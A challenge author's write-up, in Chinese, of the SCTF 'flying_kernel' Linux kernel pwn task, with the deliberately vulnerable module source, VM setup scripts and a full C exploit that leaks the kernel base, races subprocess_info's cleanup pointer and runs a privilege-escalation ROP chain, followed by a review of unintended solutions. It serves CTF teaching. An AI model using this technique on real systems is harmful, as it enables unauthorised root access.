SCTF flying_kernel 出題總結
前言
SCTF中一道linux kernel pwn的出題思路及利用方法,附賽后復盤
賽時情況

題目在早上九點第一波放出,在晚上6點由AAA戰隊取得一血,直到比賽結束一共有7支戰隊做出此題,作為一個kernel初學者很慶幸沒被打爛orz(雖然被各種非預期打爆了,還是需要繼續努力
出題思路
考點主要來源于CVE-2016-6187 的一篇利用文章,原文鏈接https://bbs.pediy.com/thread-217540.htm
簡單概括就是使用以下語句
socket(22, AF_INET, 0);
會觸發 struct subprocess_info 這個對象的分配,此結構為0x60大小,定義如下:
struct subprocess_info { struct work_struct work; struct completion *complete; const char *path; char **argv; char **envp; struct file *file; int wait; int retval; pid_t pid; int (*init)(struct subprocess_info *info, struct cred *new); void (*cleanup)(struct subprocess_info *info); void *data;} __randomize_layout;
此對象在分配時最終會調用cleanup函數,如果我們能在分配過程中把cleanup指針劫持為我們的gadget,就能控制RIP,劫持的方法顯而易見,即條件競爭
題目源碼
先給出這次題目的模塊源碼
#include #include #include #include #include #include #include #include #include #include
static char *sctf_buf = NULL;static struct class *devClass;static struct cdev cdev;static dev_t seven_dev_no;
static ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos);
static long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static int seven_open(struct inode *i, struct file *f);
static int seven_close(struct inode *i, struct file *f);
static struct file_operations seven_fops = { .owner = THIS_MODULE, .open = seven_open, .release = seven_close, .write = seven_write, .unlocked_ioctl = seven_ioctl };
static int __init seven_init(void){ if (alloc_chrdev_region(&seven_dev_no, 0, 1, "seven") < 0) { return -1; } if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL) { unregister_chrdev_region(seven_dev_no, 1); return -1; } if (device_create(devClass, NULL, seven_dev_no, NULL, "seven") == NULL) { class_destroy(devClass); unregister_chrdev_region(seven_dev_no, 1); return -1; } cdev_init(&cdev, &seven_fops); if (cdev_add(&cdev, seven_dev_no, 1) == -1) { device_destroy(devClass, seven_dev_no); class_destroy(devClass); unregister_chrdev_region(seven_dev_no, 1); return -1; } return 0;}
static void __exit seven_exit(void){ unregister_chrdev_region(seven_dev_no, 1); cdev_del(&cdev);}
ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos){ if (sctf_buf) { if (len <= 0x80) { printk(KERN_INFO "write()" ); u_int64_t offset = 0x80 - len; copy_from_user((u_int64_t)((char *)sctf_buf) + offset, buf, len); } } else { printk("What are you doing?"); }
return len;}
// ioctl函數命令控制long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long size){ int retval = 0; switch (cmd) {
case 0x5555://add if (size == 0x80) { sctf_buf = (char *)kmalloc(size,GFP_KERNEL); printk("Add Success!"); } else { printk("It's not that simple"); } break;
case 0x6666: if (sctf_buf) { kfree(sctf_buf); } else { printk("What are you doing?"); retval = -1; } break;
case 0x7777: if (sctf_buf) { printk(sctf_buf); } break;
default: retval = -1; break; }
return retval;}
static int seven_open(struct inode *i, struct file *f){ printk(KERN_INFO "open()"); return 0;}
static int seven_close(struct inode *i, struct file *f){ printk(KERN_INFO "close()"); return 0;}
module_init(seven_init);module_exit(seven_exit);
MODULE_LICENSE("GPL");
ioctl
在自定義的ioctl函數中,設置了參數2為command,有三種情況:
- command = 0x5555時:調用kmalloc函數申請一個0x80的chunk
- command = 0x6666時:free chunk但指針沒清空
- command = 0x7777時:調用printk輸出,存在格式化字符串漏洞
一共兩個漏洞點:0x80的UAF,和一個格式化字符串漏洞
write
寫函數只能寫最多0x80大小,但能指定寫的大小,且重點是能從后往前寫
init
內核的init如下:
#!/bin/sh mkdir tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devmount -t tmpfs none /tmp exec 0exec 1>/dev/consoleexec 2>/dev/console echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds" insmod /flying.kochmod 666 /dev/sevenchmod 700 /flagecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictchmod 400 /proc/kallsyms poweroff -d 120 -f &setsid /bin/cttyhack setuidgid 1000 /bin/sh umount /procumount /sysumount /tmp poweroff -d 0 -f
主要設置tmp目錄用來上傳文件
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chmod 400 /proc/kallsyms
這里也限制泄露內核基址
qemu
qemu的啟動腳本如下:
#!/bin/shqemu-system-x86_64 \ -m 128M \ -kernel /home/ctf/bzImage \ -initrd /home/ctf/rootfs.img \ -monitor /dev/null \ -append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \ -cpu kvm64,+smep \ -smp cores=2,threads=2 \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic
多核,且開了smep保護,關掉了smap保護,且內核默認有kpti和kaslr保護,所以相當于開啟了kpti和kaslr
利用
因為漏洞點很明顯,主要講講怎么利用漏洞。
首先是泄露的問題,由于存在一個格式化字符串漏洞,所以可以直接利用它來leak kernel_base
具體代碼如下:
write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80); show(fd); scanf("%llx",&magic1);
注意這里不能使用%p,否則內核會檢測到信息泄漏,得不到正確的結果。
然后接下來就是0x80的UAF利用,由于開啟了freelist隨機化和Harden_freelist保護,理論上來說,因為題目條件的限制,想直接劫持next指針實現任意地址寫幾乎是不可能的,所以這里不是考察的點,但這里存在了非預期,后文復盤會提到。
注意到0x80的分配用的是 kmalloc-128,而 struct subprocess_info 此對象的分配也是使用的kmalloc-128,由于題目存在UAF,所以當此對象落在我們能控制的chunk上時,就可以通過條件競爭劫持cleanup的指針,主要流程為:一個線程不斷的調用socket(22, AF_INET, 0) 另一個線程則循環往chunk寫數據,覆蓋cleanup指針為我們的gadget。
pthread_t th;pthread_create(&th, NULL, race, (void*)buf);while(1) { usleep(1); socket(22, AF_INET, 0);// getshell(); if (race_flag) break; } void *race(void *arg) { unsigned long *info = (unsigned long*)arg; info[0] = (u_int64_t)xchg_eax_esp; // cleanup while(1) { write(fd, (void*)info,0x20); if (race_flag) break; } }
這里很重要的一點是我們的覆蓋要確保只覆蓋cleanup指針,也就是寫0x20字節,從0x60往后寫,如果覆蓋多了數據,會在ROP返回到用戶態后死在使用fs或者syscall的地方,原因似乎有多種,有些玄學,很多師傅都卡在這里,在此磕頭了orz,但我在write函數定義了可以從后面開始寫的行為其實也帶有提示的意味,不然會有點多余。
我們劫持的gadget要實現的功能是控制棧落在可控區域,這樣我們就可以通過棧遷移,從而在事先布置好的ROP鏈上執行,因為當控制RIP時,RAX的值為此時gadget的地址,所以我們通過以下gadget控制棧
xchg eax, esp; ret;
然后ROP鏈的功能就是提權+返回用戶態
u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff); printf("[+] hijacked_stack: %p", (char *)hijacked_stack_addr);
char* fake_stack = NULL; //先裝載頁面 if((fake_stack = mmap( (char*)((hijacked_stack_addr & (~0xfff))), // addr, 頁對齊 0x2000, // length PROT_READ | PROT_WRITE, // prot MAP_PRIVATE | MAP_ANONYMOUS, // flags -1, // fd 0) ) == MAP_FAILED) perror("mmap"); printf("[+] fake_stack addr: %p", fake_stack); fake_stack[0]=0; u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr; int index = 0; hijacked_stack_ptr[index++] = pop_rdi; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = prepare_kernel_cred; hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = commit_creds; hijacked_stack_ptr[index++] = swapgs; hijacked_stack_ptr[index++] = iretq; hijacked_stack_ptr[index++] = (u_int64_t)getshell; hijacked_stack_ptr[index++] = user_cs; hijacked_stack_ptr[index++] = user_rflags; hijacked_stack_ptr[index++] = user_rsp; hijacked_stack_ptr[index++] = user_ss;
因為開啟了kpti的緣故,所以我們實際上是通過在用戶態注冊 signal handler 來執行位于用戶態的代碼
signal(SIGSEGV, getshell);void getshell(){ if(getuid() == 0) { race_flag = 1; puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!"); system("/bin/sh"); } else { puts("[!] failed!"); }}
至此一個完整的提權過程完畢,以下是poc完整代碼:
#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include
u_int64_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;u_int64_t kernel_base;u_int64_t raw_kernel;u_int64_t pop_rdi; // pop rdi; ret;u_int64_t mov_cr4_rdi; // mov cr4, rdi; pop rbp; ret;u_int64_t prepare_kernel_cred;u_int64_t commit_creds;u_int64_t mov_rdi_rsi; // mov qword ptr [rdi], rsi; ret;u_int64_t pop_rsi ; // pop rsi;retu_int64_t hook_prctl ;u_int64_t poweroff_work_func;u_int64_t power_cmd ;u_int64_t mov_rdi_rax_je_pop_pop_ret; // mov rdi//0xffffffff819b5084: mov rdi, rax; je 0xbb508f; mov rax, rdi; pop rbx; pop rbp; ret;u_int64_t swapgs ; // swagps;retu_int64_t iretq ;u_int64_t test_rbx_jne_pop_pop_ret;long long int magic1;
struct DATA{ char* buf;};
void add(int fd){ ioctl(fd, 0x5555, 0x80);}
void delete(int fd){ ioctl(fd, 0x6666, 0);}
void show(int fd){ ioctl(fd, 0x7777, 0);}
u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;void save_status(){ __asm__ (".intel_syntax noprefix"); __asm__ volatile ( "mov user_cs, cs;\ mov user_ss, ss;\ mov user_gs, gs;\ mov user_ds, ds;\ mov user_es, es;\ mov user_rsp, rsp;\ pushf;\ pop user_rflags" ); printf("[+] got user stat");}
u_int64_t raw_kernel;int race_flag = 0;
void getshell(){ if(getuid() == 0) { race_flag = 1; puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!"); system("/bin/sh"); } else { puts("[!] failed!"); }}
static int fd = NULL;u_int64_t xchg_eax_esp = NULL;void *race(void *arg) { unsigned long *info = (unsigned long*)arg; info[0] = (u_int64_t)xchg_eax_esp; // cleanup // stack pivot u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff); printf("[+] hijacked_stack: %p", (char *)hijacked_stack_addr);
char* fake_stack = NULL; //先裝載頁面 if((fake_stack = mmap( (char*)((hijacked_stack_addr & (~0xfff))), // addr, 頁對齊 0x2000, // length PROT_READ | PROT_WRITE, // prot MAP_PRIVATE | MAP_ANONYMOUS, // flags -1, // fd 0) ) == MAP_FAILED) perror("mmap"); printf("[+] fake_stack addr: %p", fake_stack); fake_stack[0]=0; u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr; int index = 0; hijacked_stack_ptr[index++] = pop_rdi; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = prepare_kernel_cred; hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = 0; hijacked_stack_ptr[index++] = commit_creds; hijacked_stack_ptr[index++] = swapgs; hijacked_stack_ptr[index++] = iretq; hijacked_stack_ptr[index++] = (u_int64_t)getshell; hijacked_stack_ptr[index++] = user_cs; hijacked_stack_ptr[index++] = user_rflags; hijacked_stack_ptr[index++] = user_rsp; hijacked_stack_ptr[index++] = user_ss; while(1) { write(fd, (void*)info,0x20); if (race_flag) break; } return NULL;}
int main(){ // 0xffffffff81011cb0:xchg eax,esp u_int64_t kernel_addr,onegadget,target; signal(SIGSEGV, getshell); unsigned long buf[0x200]; memset(buf, 0, 0x1000); fd = open("/dev/seven", O_RDWR); printf("fd: %d", fd); if (fd < 0) { return -1; } add(fd); write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80); show(fd); show(fd); scanf("%llx",&magic1);
raw_kernel = magic1 - 0x1f3ecd - KERNEL_BIN_BASE; printf("[+] raw_kernel addr : 0x%16llx", raw_kernel); xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret; pop_rdi = 0xffffffff810016e9+ raw_kernel; // pop rdi; ret; mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel; // mov cr4, rdi; pop rbp; ret; prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel; commit_creds = 0xFFFFFFFF8108C360+ raw_kernel; mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel; // mov qword ptr [rdi], rsi; ret; pop_rsi = 0xffffffff811cad0d + raw_kernel; // pop rsi;ret hook_prctl = 0xFFFFFFFF824C0D80 + raw_kernel; poweroff_work_func = 0xFFFFFFFF810C9CE0+ raw_kernel; power_cmd = 0xFFFFFFFF82663440 + raw_kernel; mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi swapgs = 0xffffffff81c00f58 + raw_kernel; // swagps;ret iretq = 0xffffffff81024f92 + raw_kernel; test_rbx_jne_pop_pop_ret = 0xffffffff811d9291 + raw_kernel; printf("[+] xchg addr :b *0x%16llx", xchg_eax_esp);
save_status();
delete(fd); socket(22, AF_INET, 0); pthread_t th; pthread_create(&th, NULL, race, (void*)buf); while(1) { usleep(1); socket(22, AF_INET, 0);// getshell(); if (race_flag) break; } return 0;}
編譯語句如下
gcc poc.c --static -masm=intel -lpthread -o poc
復盤
通過詢問解題人和看賽后wp了解到幾種解法。
預期中的非預期
- 由于random值其實是固定的,泄露出來后劫持freelist打modprobe_path
- 由于卡在返回用戶態后死在fs或者syscall的地方,所以直接在內核中orw,或者寫modprobe_path
第一點由于泄露random值這一點很麻煩,且遠程和本地不同,在出題的時候想到過可以這樣打,但由于預期解比這個簡單,本意也不是想打這里,畢竟用戶態已經有libc大師這種說法,不想再來個slub大師(,這樣個人感覺就挺沒意思了
純非預期
wm戰隊的思路orz
